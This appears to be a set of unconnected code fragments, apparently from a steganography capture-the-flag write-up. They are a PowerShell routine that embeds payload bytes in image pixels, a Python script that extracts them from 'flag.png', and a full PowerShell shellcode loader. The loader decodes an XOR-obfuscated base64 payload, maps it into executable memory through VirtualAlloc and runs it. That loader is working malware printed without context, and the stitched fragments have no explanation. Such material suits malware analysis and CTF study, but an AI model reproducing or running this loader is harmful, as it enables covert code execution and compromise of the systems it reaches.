for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
            if ($counter -lt $payload.Length){
                $paybyte1 = [math]::Floor($payload[$counter]/16)
                $paybyte2 = ($payload[$counter] -band 0x0f)
                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
            } else {
                $paybyte1 = ($randb[$counter%113] -band 0x0f)
                $paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
                $paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
            }
            $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
            $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
            $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
        }

from PIL import Image

def solove_png(image_path):
    img = Image.open(image_path)
    width, height = img.size
    extract_data = bytearray()
    for y in range(height):
        for x in range(width):
            pixels = img.getpixel((x, y))

            extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)

            extract_data.append(extract_byte)

    return extract_data

image_path = "flag.png"
data = solove_png(image_path)

with open('1.bin', 'wb') as f:
    f.write(data)

Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDGgWS1cjGpI0hZe6GsfELrv0dMOulHAdYaPaOVU7KkUG3g9OFsSjOXFYa0X3UNWMREMuv9o41bGg8w+1tsidMV4cBM7ydEvK6WJeamCBvCN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMSEw0TGAN0Sk1HTFRQA213AxUNERgDdGx0FRcYA3dRSkdGTVcMFQ0TGAN3TFZASxgDbmJvYGlwCi4pI2/utw7TJPc4/wUOni9gVXhvdM0Qja7us+7OvcQ8A+HE4zASUN4YSM/gvJ816irBImYFBycRAxrjhPrBCgJlUBwzNQroE9+HJMM6J1h7shBlW9af64n/lwSlJtmD09JPhPgwV01SBTQyEkdN95JzlNJ8P3P+M8bgzMrdWVLJu5x0RyLX6ADvDz4STNNq49SNn9oWbjxK1ss6+lG9p+X0DM5rRczvjT22x0zZO77IZv0pMdstbnc/EnEH9Xf3lZt9Oq2a2cR6NuD9HsMjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BcWDRIXEQ0REhENECNqtSHx')

for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}